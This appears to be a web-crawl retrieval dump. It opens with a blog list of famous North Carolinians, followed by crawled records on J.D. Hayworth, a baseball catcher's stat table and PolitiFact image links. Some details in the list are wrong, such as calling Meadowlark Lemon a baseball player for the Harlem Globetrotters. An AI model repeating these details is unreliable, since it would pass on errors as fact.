Born (Amy Maria Young) February 19, 1970, in Asheville, NC. She attended Asheville High School.
Known for: Best known for her role as Melody “Mellie” Grant in the TV show “Scandal”.
Michael C. Hall
Born February 1, 1972, in Raleigh, NC. He graduated from Ravenscroft School, a private school for elementary through High School students.
Known for: Hall has an impressive resume of TV, film, and theatre, but is most recognized as Dexter Morgan in “Dexter”.
Jaime Pressly
Born July 30, 1977, in Kinston, NC. She lived in the area with her family until they moved to California in 1992.
Known for: Best known for her role as Jill Kendall in the TV show “Mom”.
Evan Rachel Wood
Born September 7, 1987, in Raleigh, NC. Her father, Ira David Wood III, is a prominent actor, theater director, and playwright in Raleigh.
Known for: Wood is an in-demand actress who fans may know best as Dolores Abernathy in HBO’s “Westworld”.
Christophe Sanders
Born April 21, 1988, in Arden, NC. He grew up in Hendersonville, NC.
Known for: Sanders may be best known for his role as Kyle Anderson on the TV show “Last Man Standing”.
Singer/Songwriters
Besides being a hotbed for American Idol winners, North Carolina has a strong history in Bluegrass and Country Music.
Doc Watson
Born Arthel Lane Watson on March 3, 1923, in Deep Gap, NC. He lost his eyesight at the age of 2 and attended the Governor Morehead School in Raleigh, NC.
Known for: Doc was known for his flatpick work and is credited as an influential figure during the folk music revival.
Earl Scruggs
Born January 6, 1924, in Cleveland County, NC.
Known for: Scruggs popularized a three-finger banjo picking style, now a defining characteristic of bluegrass music.
John Coltrane
Born September 23, 1926, in Hamlet, NC. He grew up in High Point and attended William Penn High School.
Known for: Coltrane was a jazz saxophonist, composer, and bandleader known as one of the most influential figures in the history of jazz.
Nina Simone
Born Eunice Kathleen Waymon on February 21, 1933, in Tryon, NC. She attended the Allen High School for Girls in Asheville, NC.
Known for: A civil rights activist, singer, pianist, and songwriter, her most recognizable song may be “I Put a Spell on You”.
Charlie Daniels
Born October 28, 1936, in Wilmington, NC. His family moved to Gulf, NC (in Chatham County when he was a teenager.
Known for: A prolific singer and songwriter, most fans will recognize Daniels’ “The Devil Went Down to Georgia”.
Ben E. King
Born September 28, 1938, in Henderson, NC. His family moved to Harlem, NY when he was nine.
Known for: King is the singer and co-composer of “Stand by Me”.
Ronnie Milsap
Born January 16, 1943, in Robbinsville, NC. He was sent to the Governor Morehead School for the blind in Raleigh, NC at the age of 5.
Known for: Milsap was one of the most influential country artists in the 70s and 80s. Most authorities list his most acclaimed hit as “It Was Almost Like a Song”.
Randy Travis
Born Randy Bruce Traywick on May 4, 1959, in Marshville, NC.
Known for: An active country and gospel music singer, songwriter, and guitarist, Travis’ most famous song may be “Forever and Ever, Amen”.
Ben Folds
Born September 12, 1966, in Winston-Salem, NC. He attended Richard J. Reynolds High School.
Known for: As a member of Ben Folds Five, the hit song “Brick” is arguably a song most people will remember.
Eric Church
Born May 3, 1977, in Granite Falls, NC. He attended South Caldwell High School and Appalachian State University.
Known for: Church’s career has taken off with his more recent hits being “Hell of a View,” and “Springsteen”.
Clay Aiken
Born November 30, 1978, in Raleigh, NC.
Known for: Aiken is most known for his second-place finish on season two of American Idol. He has remained an active musician, TV and film actor, and appeared on Broadway. Recently, he’s expressed interest in entering the political arena.
Chris Daughtry
Born December 26, 1979, in Roanoke Rapids, NC, and raised in Lasker, NC until he was 14.
Known for: After his fourth-place finish on Season five of American Idol, Daughtry formed a band with his name. He’s considered the third most successful American Idol alumni in terms of record sales.
Fantasia Barrino
Born June 30, 1984, in High Point, NC. She attended Andrews High School.
Known for: The winner of American Idol’s third season, Barrino remains an active singer and actor. She’s starred in films, Broadway plays, and won a Grammy.
Kellie Pickler
Born June 28, 1986, in Albemarle, NC. She graduated from North Stanly High School in New London, NC.
Known for: Finishing sixth on season five of American Idol, Pickler used the platform to grow her singing career. She also stars in the “I Love Kellie Pickler” TV show and had a brief talk show, “Pickler & Ben”.
Luke Combs
Born March 2, 1990, in Charlotte, NC, and moved to Asheville, NC at the age of 8.
Known for: With an impressive country music resume, Combs is just getting started. While he has many songs to choose from, many fans can relate to “When it Rains it Pours”.
Scotty McCreery
Born October 9, 1993, in Garner, NC.
Known for: McCreery won season ten of American Idol and has been releasing top country songs ever since. While he may have bigger hits, since this is a list of “People From North Carolina,” I’m going to pick “Carolina to Me” as his best song. But “You Time” may be more well known.
US Presidents
North Carolina is home to two US Presidents. Technically, some people add President Andrew Jackson to this list, however, it’s unclear if he was born in North or South Carolina. Regardless, it’s clear the family was living in South Carolina before he was a year old.
James Polk
Born November 2, 1795, in Pineville, NC.
Known for: Polk became the eleventh President of the United States in 1844.
Andrew Johnson
Born December 29, 1808, in Raleigh, NC.
Known for: Johnson became the seventeenth President of the United States in 1865 after the assassination of Abraham Lincoln.
Sports Figures
This is the section that can get out of hand fast. I’m sure there are many other notable sports players not listed here. That doesn’t diminish their impact to North Carolina or their sports.
Buck Leonard
Born Walter Fenner Leonard on September 8, 1907, in Rocky Mount, NC.
Known for: A first baseman in the Negro League Baseball, Leonard was inducted into the Baseball Hall of Fame in 1972.
Enos Slaughter
Born April 27, 1916, in Roxboro, NC.
Known for: Slaughter was a right fielder noted for his time playing for the St. Louis Cardinals.
Charlie Sifford
Born on June 2, 1922, in Charlotte, NC.
Known for: Sifford was the first African American to play on the PGA Tour. He won multiple conferences including the Greater Hartford Open, the Los Angeles Open, and the PGA Seniors’ Championship. He was inducted into the World Golf Hall of Fame in 2004.
Prince Nufer Dixon
Born May 8, 1924, in Goldsboro, NC.
Known for: Dixon was America’s top female swimmer in the 1930s and 40s. In 1941, she set the world record for the 50-meter backstroke.
Meadowlark Lemon
Born Meadow Lemon III on April 25, 1932, in Wilmington, NC. He attended Williston Industrial School.
Known for: Lemon may just be the greatest baseball player of all time playing for the Harlem Globetrotters. He was also an ordained minister and ran Meadowlark Lemon Ministries which opened in 1994.
Sonny Jurgensen
Born Christian Jurgensen III on August 23, 1934, in Wilmington, NC.
Known for: Jurgensen played football for the Philadelphia Eagles and Washington Redskins. He’s known as the finest “pure passer” of his time.
Fred “Curly” Neal
Born May 19, 1942, in Greensboro, NC. He attended James B. Dudley High School and Johnson C. Smith University.
Known for: A member of the Harlem Globetrotters basketball team, Neal was recognizable thanks to his shaved head. He was the team’s featured ballhandler, which was a key role for their exhibitions.
Jim “Catfish” Hunter
Born April 8, 1946, in Hertford, NC. He attended Perquimans County High School.
Known for: Hunter was a pitcher for Kansas City and New York Yankees. He was inducted into the Baseball Hall of Fame in 1987.
Kathy McMillan
Born November 7, 1957, in Raeford, NC.
Known for: McMillan competed in the Long Jump at the 1976 Summer Olympics in Canada. She was inducted into the National Track and Field Hall of Fame in 2021.
NASCAR
Thanks to the North Carolina mountains being well-known for their moonshine stills during prohibition, it’s no surprise that NASCAR has deep roots here. What else were the crazy drivers taking steep and curvy mountain roads at high speed with no lights supposed to do when prohibition ended?
You can find one of the original dirt NASCAR tracks from the inaugural 1949 season in Hillsborough, NC.
Lee Petty
Born March 14, 1914, in Randleman, NC.
Known for: Petty raced stock cars during the 1950s and 1960s. He was the first three-time Cup champion.
Junior Johnson
Born Robert Glenn Johnson Jr. on June 28, 1931, in Ronda, NC.
Known for: Johnson won 50 NASCAR races during the 1950s and 60s.
Richard Petty
Born July 2, 1937, in Level Cross, NC.
Known for: Petty was the first driver to win the Cup Series championship seven times. He won 200 races during his career including seven times at the Daytona 500.
Dale Earnhardt Sr.
Born April 29, 1951, in Kannapolis, NC.
Known for: Earnhardt Sr. ties with Petty and Jimmie Johnson for earning seven Winston Cup championships. He died in a sudden crash during the Daytona 500 in 2001, a race where his son was also competing.
Dale Jarrett
Born November 26, 1956, in Conover, NC. He attended Newton-Conover High School.
Known for: Jarrett is best known for winning the Daytona 500 three times. He replaced Rusty Wallace as the ESPN lead racing analyst in 2008, then moved to NBC Broadcasting in 2015.
Dale Earnhardt Jr.
Born October 10, 1974, in Kannapolis, NC.
Known for: Earnhardt Jr. has won the Daytona 500 twice and the Most Popular Driver Award fifteen consecutive times.
News Personalities
The University of North Carolina at Chapel Hill has one of the best journalism programs in the United States. It’s little wonder that two of the most well-known journalists are not only from North Carolina but also graduates from UNC-Chapel Hill.
David Brinkley
Born July 10, 1920, in Wilmington, NC. He attended New Hanover High School and UNC-Chapel Hill.
Known for: Brinkley was a well-known newscaster for NBC and ABC from 1943 to 1997. He has ten Emmy Awards, three Peabody awards, and the Presidential Medal of Freedom.
Charles Kuralt
Born September 10, 1934, in Wilmington, NC. He attended Charlotte’s Central High School and UNC-Chapel Hill.
Known for: Kuralt may be best known for his “On the Road” segments on “The CBS Evening News with Walter Cronkite”. He then anchored the CBS News Sunday Morning for fifteen years. He has two Peabody awards and an Emmy.
Authors
While many authors were born in North Carolina, and others moved here later in life, there are three that have always called the state home.
O. Henry
Born William Sydney Porter on September 11, 1862, in Greensboro, NC.
Known for: Porter is known best for his short stories. “The Gift of the Magi” may be his best-known work.
Thomas Wolfe
Born October 3, 1900, in Asheville, NC.
Wolfe may be best known for his first book, “Look Homeward, Angel”. You can learn more about his life at the Thomas Wolfe Memorial in Asheville, NC. The Memorial is the third stop on the Hop On/Hop Off Trolley.
Margaret Maron
Born August 25, 1938, in Greensboro, NC.
Known for: Maron is known for the Judge Deborah Knott series of novels set in the south.
Other People of Note
Billy Graham
Born November 7, 1918, in Charlotte, NC.
Known for: Graham is an evangelist and Southern Baptist minister. He is known for his large, televised rallies and sermons.
Honorable Mention
Michael Jordan
Born February 17, 1963, in Brooklyn, NY. Jordan’s family moved to Wilmington, NC in 1968. You can say that Michael grew up in North Carolina. Besides being known as a basketball great, he’s done a lot for our state.
While he’s donated millions to help underserved residents of NC, most notably he donated $10 million dollars to two hospitals to build community health clinics targeting uninsured and underinsured individuals.
Besides purchasing a share in the Charlotte Hornets, he’s also launched several restaurants and a car dealership. He hosts the Michael Jordan Celebrity Invitational golf tournament which benefits several different foundations.
Click to Share
|
|||||
3358
|
dbpedia
|
1
| 81
|
http://bb_catchers.tripod.com/catchers/hayworthra.htm
|
en
|
Encyclopedia of Baseball Catchers
|
[
"http://bb_catchers.tripod.com/catchers/hayworthra.jpg",
"http://bb_catchers.tripod.com/catchers/fotogaly2.gif"
] |
[] |
[] |
[
""
] | null |
[] | null | null |
1926
1929
1930
1931
1932
1933
1934
1935
1936
1937
1938
1938
1939
1939
1942
1944
1945
Det
Det
Det
Det
Det
Det
Det
Det
Det
Det
Det
Bro
Bro
NYG
StL
Bro
Bro
AL
AL
AL
AL
AL
AL
AL
AL
AL
AL
AL
NL
NL
NL
AL
NL
NL
.273
.256
.278
.256
.293
.245
.293
.309
.240
.269
.211
.000
.154
.231
1.000
.000
.000
12
14
77
88
109
134
54
51
81
30
8
5
21
5
1
7
2
11
43
227
273
338
425
167
175
250
78
19
4
26
13
1
10
2
1
5
24
28
41
37
20
22
31
9
1
0
0
1
0
1
0
3
11
63
70
99
104
49
54
60
21
4
0
4
3
1
0
0
0
0
15
10
20
14
5
14
10
2
0
0
2
0
0
0
0
0
0
4
3
2
3
2
2
0
0
0
0
0
0
0
0
0
0
0
0
0
2
1
0
0
1
1
0
0
0
0
0
0
0
5
4
22
25
44
45
27
22
30
8
5
0
1
0
0
0
0
1
3
20
19
31
35
16
9
39
14
3
1
4
0
0
2
1
1
8
19
27
22
28
22
14
18
15
4
1
7
1
0
1
0
.333
.304
.336
.307
.354
.302
.355
.342
.347
.394
.318
.200
.267
.231
1.000
.167
.333
.273
.256
.379
.315
.382
.299
.347
.411
.292
.333
.211
.000
.231
.231
1.000
.000
.000
1926
1929
1930
1931
1932
1933
1934
1935
1936
1937
1938
1938
1939
1939
1942
1944
1945
Det
Det
Det
Det
Det
Det
Det
Det
Det
Det
Det
Bro
Bro
NYG
StL
Bro
Bro
AL
AL
AL
AL
AL
AL
AL
AL
AL
AL
AL
NL
NL
NL
AL
NL
NL
0
0
0
1
1
0
0
0
2
2
0
0
0
0
0
0
0
--
--
--
--
--
--
--
--
--
--
--
0
2
0
0
1
0
3
11
86
86
129
127
58
72
73
26
4
0
6
3
1
0
0
--
--
--
--
--
--
--
--
--
--
--
--
--
--
--
--
--
1
1
8
2
4
4
0
6
6
2
0
0
3
1
0
0
0
--
--
--
--
--
--
--
--
--
--
--
--
--
--
--
--
--
0
0
0
0
1
0
0
0
0
0
1
0
0
0
0
0
0
0
0
2
1
1
0
2
0
0
0
0
--
--
--
0
0
--
-.---
-.---
.000
.000
.500
-.---
.000
-.---
-.---
-.---
1.000
-.---
-.---
-.---
-.---
-.---
-.---
--.-
--.-
--.-
--.-
169.0
425.0
--.-
--.-
250.0
78.0
--.-
--.-
--.-
--.-
--.-
--.-
--.-
11.0
5.4
11.9
10.1
15.4
15.2
7.6
12.5
13.9
5.2
4.8
4.0
3.7
13.0
--.-
10.0
--.-
|
||||||||
3358
|
dbpedia
|
1
| 78
|
https://archive.thinkprogress.org/hayworth-birtherism-is-an-identity-theft-issue-138fa1dd80f3/
|
en
|
Hayworth: Birtherism is an âidentity theftâ issue. – ThinkProgress
|
[] |
[
"https://www.youtube.com/embed/tS6yL3ldLno?version=3&rel=1&fs=1&autohide=2&showsearch=0&showinfo=1&iv_load_policy=1&wmode=transparent"
] |
[] |
[
""
] | null |
[] |
2010-02-16T22:50:13-05:00
|
en
|
https://archive.thinkprogress.org/hayworth-birtherism-is-an-identity-theft-issue-138fa1dd80f3/
|
Last month former GOP congressman J.D. Hayworth, who is challenging Sen. John McCain (R-AZ) in the Arizona Republican primary for U.S. Senate, saddled up with the far right “birthers,” who inaccurately believe President Obama was not born in the U.S. “Well, gosh, we all had to bring our birth certificates” in order “to play football,” he said, adding that “the President should come forward with the information, that’s all.” Last night on CNN, when host Campbell Brown asked if he really believes Obama is foreign-born, Hayworth dodged but later explained his comments from last month as raising from “identity theft” issues:
HAYWORTH: All I said was this, and I’m responding to what constituents write me about. And they’re looking prospectively at every office, from 1600 Pennsylvania Avenue to city council.
For example, in Scottsdale, we had a situation where we had somebody running for the council under an assumed name who was a fugitive from justice. All I’m saying is, for every race across the country, especially with identity theft in the news, it would be great that people can confirm who they say they are.
Pressed again by Brown, Hayworth simply said he has “no qualms about who he is or who he says he is.” Watch it:
|
|||||||
3358
|
dbpedia
|
3
| 3
|
https://www.sporcle.com/games/shanerw01/famous-people-born-in-north-carolina
|
en
|
30 Famous People Born in North Carolina
|
[
"https://www.sporcle.com/images/sporcle-logo-theme-light.svg",
"https://d31xsmoz1lk3y3.cloudfront.net/square/1620466.jpg?v=1723638547",
"https://d31xsmoz1lk3y3.cloudfront.net/square/2216960.jpg?v=1723638601",
"https://d31xsmoz1lk3y3.cloudfront.net/square/3189935.jpg?v=1715225470",
"https://d31xsmoz1lk3y3.cloudfront.net/blog_posts/3cbe37e3f60d6c5462646c7cdc3c2242.jpeg",
"https://www.sporcle.com/images/sporcle-logo-type.svg"
] |
[] |
[] |
[
"Celebrity",
"Famous",
"birthplace",
"charlotte",
"North Carolina",
"quiz",
"trivia",
"quizzes"
] | null |
[] | null |
Can you name the Famous People Born in North Carolina? Test your knowledge on this entertainment quiz and compare your score to others. Quiz by shanerw01
|
en
|
/images/favicon-32x32.png
|
https://www.sporcle.com/games/shanerw01/famous-people-born-in-north-carolina
|
Report this User
Report this user for behavior that violates our Community Guidelines.
Details:
|
|||||
3358
|
dbpedia
|
1
| 80
|
https://phawker.com/tag/jd-hayworth/
|
en
|
j.d. hayworth – PHAWKER.COM – Curated News, Gossip, Concert Reviews, Fearless Political Commentary, Interviews….Plus, the Usual Sex, Drugs and Rock n' Roll
|
[
"https://i0.wp.com/phawker.com/wp-content/uploads/2022/09/header.png?fit=1080%2C227&ssl=1"
] |
[] |
[] |
[
""
] | null |
[] |
2010-02-25T17:42:55-04:00
|
en
| null |
PHILLY CLOUT: U.S. Sen. John McCain has a new campaign video up on the web that uses a local attorney to attack J.D. Hayworth, the Congressman turned radio talk show host who is challenging McCain in the Arizona Republican primary election. McCain’s ad compares Hayworth to Philip Berg, a Montgomery County attorney who unsuccessfully sued in federal court to challenge President Obama’s election, based on the debunked theory that he was not born a United States citizen. MORE Meet Phil Berg, Alpha Birther Of The Bizarro Nation BY JONATHAN VALANIA FOR PHILADELPHIA WEEKLY In the soft twilight of the first Saturday […]
|
|||||||
3358
|
dbpedia
|
0
| 23
|
http://www.fact-index.com/j/j_/j__d__hayworth.html
|
en
|
J. D. Hayworth
|
[
"https://a.advameg.com/matomo.php?idsite=27&rec=1"
] |
[] |
[] |
[
""
] | null |
[] | null |
en
| null |
Fact-index.com financially supports the Wikimedia Foundation. Displaying this page does not burden Wikipedia hardware resources.
This article is from Wikipedia. All text is available under the terms of the GNU Free Documentation License.
|
|||||||
3358
|
dbpedia
|
0
| 8
|
https://www.nbcnews.com/id/wbna15392044
|
en
|
J.D. Hayworth
|
[
"https://media-cldnry.s-nbcnews.com/image/upload/t_fit-760w,f_auto,q_auto:best/msnbc/Components/Photos/061023/061023_hayworth_hmed_5p.jpg"
] |
[] |
[] |
[
""
] | null |
[
"NBC Universal"
] |
2006-10-23T22:51:42+00:00
|
en
|
https://nodeassets.nbcnews.com/cdnassets/projects/ramen/favicon/nbcnews/all-other-sizes-PNG.ico/favicon.ico
|
NBC News
|
https://www.nbcnews.com/id/wbna15392044
|
House Web site
Born: July 12, 1958, High Point, N.C.
Family: married (Mary)
Education: North Carolina State University, B.A., 1980
Professional Career: Sports reporter/anchor: WPTF-TV Raleigh, N.C., 1980-81; WYFS-TV Greenville, S.C., 1981-86; WLWT-TV Cincinnati, 1986-87; KTSP-TV Phoenix, 1987-94; Insurance agent and public relations consultant, 1994.
Military Career: None
Previous Elective Office: None
|
|||||
3358
|
dbpedia
|
2
| 41
|
https://www.thedailybeast.com/videos/2010/01/26/hayworth-on-obamas-birth-certificate
|
en
|
Hayworth on Obama's Birth Certificate
|
https://img.thedailybeast.com/image/upload/c_crop,d_placeholder_euli9k,h_225,w_400,x_0,y_0/dpr_2.0/c_limit,w_740/fl_lossy,q_auto/v1493132447/videos/2010/01/26/hayworth-on-obamas-birth-certificate/hardball-hayworth-120_plrpap
|
https://img.thedailybeast.com/image/upload/c_crop,d_placeholder_euli9k,h_225,w_400,x_0,y_0/dpr_2.0/c_limit,w_740/fl_lossy,q_auto/v1493132447/videos/2010/01/26/hayworth-on-obamas-birth-certificate/hardball-hayworth-120_plrpap
|
[
"https://www.thedailybeast.com/static/media/TDB-SM-Nav-Product-Callout.7938c28c.png",
"https://img.thedailybeast.com/image/upload/v1549916286/logo_km2qs4.png",
"https://img.thedailybeast.com/image/upload/c_crop,d_placeholder_euli9k,h_225,w_400,x_0,y_0/dpr_1.5/c_limit,w_1044/fl_lossy,q_auto/v1493132447/videos/2010/01/26/hayworth-on-obamas-birth-certificate/hardball-hayworth-120_plrpap",
"https://img.thedailybeast.com/image/upload/v1550872986/White2x_hcwpd6.png"
] |
[] |
[] |
[
"John McCain"
] | null |
[
"The Daily Beast"
] |
2010-01-26T00:00:00
|
We're betting the Republican primary just got a whole lot less stressful for Sen. McCain. His opponent, former Rep. J.D. Hayworth, went on
Hardball Tuesday to back up his earlier statements questioning Obama's origins.
|
en
|
data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAABPUlEQVQoz6WSv6rCMBTGOymCIL6BizqIgvgHBRdxcPYJxNkHEDd1EhUclE6uPoKzu4OggoKP4CC3JqZNbJqbGKk3XVq4IcPJB7/DOV8+DdbrP6GQvEYk8kgm8WLBKFX0aBTkcni5ZIxp/M3cQyk9n2GthnVd0V8vejjAcpms13+A+53ZtqD2e5DPu7pzu/FGgtpsnq3WF4CNhtXviwpjIxZzdZDJ4NlMNDoeQamkAKjTkbUc3QXMdyN6OoFCIRBgDQZyVFip+APcAHq98oLoOmq3/YHPQQhWq9Zo5A/Y260wSu6QSgXbodd7ozb/2WAudbuu/g/g2Wzi8VhUpmnE48pIw6EMCA+V5nWDj7rbgWLxqyP0CRpfOptVAULk75DVyhvKy4XnF8/nmifeIJ3G0ylzHEUPhx+JBJ5MuFG/5/Ynabxw9yEAAAAASUVORK5CYII=
|
The Daily Beast
|
https://www.thedailybeast.com/videos/2010/01/26/hayworth-on-obamas-birth-certificate
|
We're betting the Republican primary just got a whole lot less stressful for Sen. McCain. His opponent, former Rep. J.D. Hayworth, went on Hardball Tuesday to back up his earlier statements questioning Obama's origins.
|
||
3358
|
dbpedia
|
2
| 57
|
https://www.politifact.com/factchecks/2010/mar/18/jd-hayworth/jd-hayworth-claims-massachusetts-ruling-opens-door/
|
en
|
J.D. Hayworth claims Massachusetts ruling opens the door for man-horse marriage
|
[
"https://www.facebook.com/tr?id=292850974235854&ev=PageView&noscript=1",
"https://static.politifact.com/CACHE/images/politifact/mugs/JD_Hayworth/93e45c895803e1dc07fe2beee7de8a51.jpg",
"https://static.politifact.com/CACHE/images/politifact/mugs/JD_Hayworth/14b8ebf63440506ef397ead1880c26ff.jpg",
"https://static.politifact.com/CACHE/images/politifact/rulings/tom_ruling_pof/47ae831c64f67823d0eecfa4a5d22765.jpg.",
"https://static.politifact.com/politifact/rulings/tom_ruling_pof.png",
"https://static.politifact.com/CACHE/images/politifact/staffers/CleanShot_2023-05-11_at_00.07.022x/ff9fda75398fa7ab6275fd8b4d66110a.jpg",
"https://static.politifact.com/CACHE/images/politifact/mugs/768px-Instagram_logo_2016.svg/322c808c00e73c217d17772ddd5a0eb5.jpg",
"https://static.politifact.com/CACHE/images/politifact/mugs/768px-Instagram_logo_2016.svg/8b142c91ebe468a84a192e6df2b7b994.jpg",
"https://static.politifact.com/CACHE/images/politifact/rulings/meter-false/33efdb6633e5e2fdc2d4e2f63383a1e0.jpg.",
"https://static.politifact.com/politifact/rulings/meter-false.jpg",
"https://static.politifact.com/CACHE/images/politifact/mugs/phillips/bcf76dcf0f3c5c6b2a2fdade1392ebc0.jpg",
"https://static.politifact.com/CACHE/images/politifact/mugs/phillips/08264e9e800129083af3243ff7973b8a.jpg",
"https://static.politifact.com/img/meter-half-true-th.jpg",
"https://static.politifact.com/img/meter-half-true.jpg",
"https://static.politifact.com/CACHE/images/politifact/mugs/barack_obama_2021/321be733196b969c0caf9428149155d0.jpg",
"https://static.politifact.com/CACHE/images/politifact/mugs/barack_obama_2021/7d4887eb902ed24738ad24491feb03fd.jpg",
"https://static.politifact.com/img/meter-true-th.jpg",
"https://static.politifact.com/img/meter-true.jpg",
"https://static.politifact.com/CACHE/images/politifact/mugs/barack_obama_2021/321be733196b969c0caf9428149155d0.jpg",
"https://static.politifact.com/CACHE/images/politifact/mugs/barack_obama_2021/7d4887eb902ed24738ad24491feb03fd.jpg",
"https://static.politifact.com/img/meter-true-th.jpg",
"https://static.politifact.com/img/meter-true.jpg",
"https://static.politifact.com/CACHE/images/mugs/mug-emailer/3def8495970cc07eac4830a436f0dde8.jpg",
"https://static.politifact.com/CACHE/images/mugs/mug-emailer/8326b12f6f63c036e56624abe598b6a8.jpg",
"https://static.politifact.com/img/meter-pants-fire-th.jpg",
"https://static.politifact.com/img/meter-pants-fire.jpg",
"https://static.politifact.com/CACHE/images/politifact/mugs/barack_obama_2021/321be733196b969c0caf9428149155d0.jpg",
"https://static.politifact.com/CACHE/images/politifact/mugs/barack_obama_2021/7d4887eb902ed24738ad24491feb03fd.jpg",
"https://static.politifact.com/img/meter-half-true-th.jpg",
"https://static.politifact.com/img/meter-half-true.jpg",
"https://static.politifact.com/CACHE/images/politifact/mugs/barack_obama_2021/321be733196b969c0caf9428149155d0.jpg",
"https://static.politifact.com/CACHE/images/politifact/mugs/barack_obama_2021/7d4887eb902ed24738ad24491feb03fd.jpg",
"https://static.politifact.com/img/meter-mostly-true-th.jpg",
"https://static.politifact.com/img/meter-mostly-true.jpg",
"https://static.politifact.com/CACHE/images/politifact/mugs/Case/c7ee6cc0bda45298420fd42b077498c7.jpg",
"https://static.politifact.com/CACHE/images/politifact/mugs/Case/4546c7eac359e78a9c46190ef3bf04b7.jpg",
"https://static.politifact.com/img/meter-half-true-th.jpg",
"https://static.politifact.com/img/meter-half-true.jpg",
"https://static.politifact.com/CACHE/images/politifact/mugs/Bachmann_mug_1/dd7d51e7728d246ab8e24863c3299a3d.jpg",
"https://static.politifact.com/CACHE/images/politifact/mugs/Bachmann_mug_1/da9cd58fcd5a067947f487a7f02ee64a.jpg",
"https://static.politifact.com/img/meter-false-th.jpg",
"https://static.politifact.com/img/meter-false.jpg",
"https://static.politifact.com/CACHE/images/politifact/mugs/barack_obama_2021/321be733196b969c0caf9428149155d0.jpg",
"https://static.politifact.com/CACHE/images/politifact/mugs/barack_obama_2021/7d4887eb902ed24738ad24491feb03fd.jpg",
"https://static.politifact.com/img/meter-pants-fire-th.jpg",
"https://static.politifact.com/img/meter-pants-fire.jpg",
"https://static.politifact.com/CACHE/images/politifact/mugs/Bachmann_mug_1/dd7d51e7728d246ab8e24863c3299a3d.jpg",
"https://static.politifact.com/CACHE/images/politifact/mugs/Bachmann_mug_1/da9cd58fcd5a067947f487a7f02ee64a.jpg",
"https://static.politifact.com/img/meter-barely-true-th.jpg",
"https://static.politifact.com/img/meter-barely-true.jpg",
"https://static.politifact.com/CACHE/images/mugs/Axelrod/cd1aec52a265246d3b837a6a207dd011.JPG",
"https://static.politifact.com/CACHE/images/mugs/Axelrod/e2e55c70f09f800184a1b38442aeeeaa.JPG",
"https://static.politifact.com/img/meter-half-true-th.jpg",
"https://static.politifact.com/img/meter-half-true.jpg",
"https://static.politifact.com/CACHE/images/politifact/mugs/mug-independentgroup__________________6/bd7f5eb1e078bd488d60e2aeb396e36f.jpg",
"https://static.politifact.com/CACHE/images/politifact/mugs/mug-independentgroup__________________6/da8af6df90ee0fa9b8b78310fcd484dc.jpg",
"https://static.politifact.com/img/meter-false-th.jpg",
"https://static.politifact.com/img/meter-false.jpg",
"https://static.politifact.com/CACHE/images/politifact/mugs/Pawlenty_mug/c74c66c273c61f7334489695a95cc4c9.jpg",
"https://static.politifact.com/CACHE/images/politifact/mugs/Pawlenty_mug/5e7dc5e09d6af6c1d6e1a0eaee99de50.jpg",
"https://static.politifact.com/img/meter-mostly-true-th.jpg",
"https://static.politifact.com/img/meter-mostly-true.jpg",
"https://static.politifact.com/CACHE/images/politifact/mugs/27560_6444958138_7609_n/ede6d5dce8812f50065e80057a176088.jpg",
"https://static.politifact.com/CACHE/images/politifact/mugs/27560_6444958138_7609_n/8eb43a6c0727eb30fac675c5d75e9029.jpg",
"https://static.politifact.com/img/meter-mostly-true-th.jpg",
"https://static.politifact.com/img/meter-mostly-true.jpg",
"https://static.politifact.com/CACHE/images/politifact/mugs/mug-independentgroup__________________5/c1ee321c28c247b60131e888fc3ac6f5.jpg",
"https://static.politifact.com/CACHE/images/politifact/mugs/mug-independentgroup__________________5/2c07f14c3f68a2c41db6f6915d2db8a2.jpg",
"https://static.politifact.com/img/meter-false-th.jpg",
"https://static.politifact.com/img/meter-false.jpg",
"https://static.politifact.com/CACHE/images/politifact/mugs/Facebook_Logo_2019/7ed0f7f43159fdda4e36555173e00d64.jpg",
"https://static.politifact.com/CACHE/images/politifact/mugs/Facebook_Logo_2019/caa2aa7d5b5be4d8c1a06fa4f06aff45.jpg",
"https://static.politifact.com/img/meter-false-th.jpg",
"https://static.politifact.com/img/meter-false.jpg",
"https://static.politifact.com/CACHE/images/politifact/mugs/Facebook_Logo_2019/7ed0f7f43159fdda4e36555173e00d64.jpg",
"https://static.politifact.com/CACHE/images/politifact/mugs/Facebook_Logo_2019/caa2aa7d5b5be4d8c1a06fa4f06aff45.jpg",
"https://static.politifact.com/img/meter-false-th.jpg",
"https://static.politifact.com/img/meter-false.jpg",
"https://static.politifact.com/CACHE/images/politifact/mugs/Facebook_Logo_2019/7ed0f7f43159fdda4e36555173e00d64.jpg",
"https://static.politifact.com/CACHE/images/politifact/mugs/Facebook_Logo_2019/caa2aa7d5b5be4d8c1a06fa4f06aff45.jpg",
"https://static.politifact.com/img/meter-false-th.jpg",
"https://static.politifact.com/img/meter-false.jpg",
"https://static.politifact.com/CACHE/images/politifact/mugs/Claudia_Tenney_Thumbnail/4939eb1d7b44d628f6cefdbc05f69912.jpg",
"https://static.politifact.com/CACHE/images/politifact/mugs/Claudia_Tenney_Thumbnail/69646d377bd93a70a35f444413f85be6.jpg",
"https://static.politifact.com/img/meter-pants-fire-th.jpg",
"https://static.politifact.com/img/meter-pants-fire.jpg",
"https://static.politifact.com/CACHE/images/politifact/mugs/threads-logo-black-01/b6cedac93f6e57c68ecc025e5ec29d57.jpg",
"https://static.politifact.com/CACHE/images/politifact/mugs/threads-logo-black-01/438dbf066033f99de07598cbcc77ddcb.jpg",
"https://static.politifact.com/img/meter-pants-fire-th.jpg",
"https://static.politifact.com/img/meter-pants-fire.jpg",
"https://static.politifact.com/CACHE/images/politifact/mugs/threads-logo-black-01/b6cedac93f6e57c68ecc025e5ec29d57.jpg",
"https://static.politifact.com/CACHE/images/politifact/mugs/threads-logo-black-01/438dbf066033f99de07598cbcc77ddcb.jpg",
"https://static.politifact.com/img/meter-false-th.jpg",
"https://static.politifact.com/img/meter-false.jpg",
"https://static.politifact.com/CACHE/images/politifact/mugs/Facebook_Logo_2019/7ed0f7f43159fdda4e36555173e00d64.jpg",
"https://static.politifact.com/CACHE/images/politifact/mugs/Facebook_Logo_2019/caa2aa7d5b5be4d8c1a06fa4f06aff45.jpg",
"https://static.politifact.com/img/meter-false-th.jpg",
"https://static.politifact.com/img/meter-false.jpg",
"https://static.politifact.com/CACHE/images/politifact/mugs/Facebook_Logo_2019/7ed0f7f43159fdda4e36555173e00d64.jpg",
"https://static.politifact.com/CACHE/images/politifact/mugs/Facebook_Logo_2019/caa2aa7d5b5be4d8c1a06fa4f06aff45.jpg",
"https://static.politifact.com/img/meter-false-th.jpg",
"https://static.politifact.com/img/meter-false.jpg",
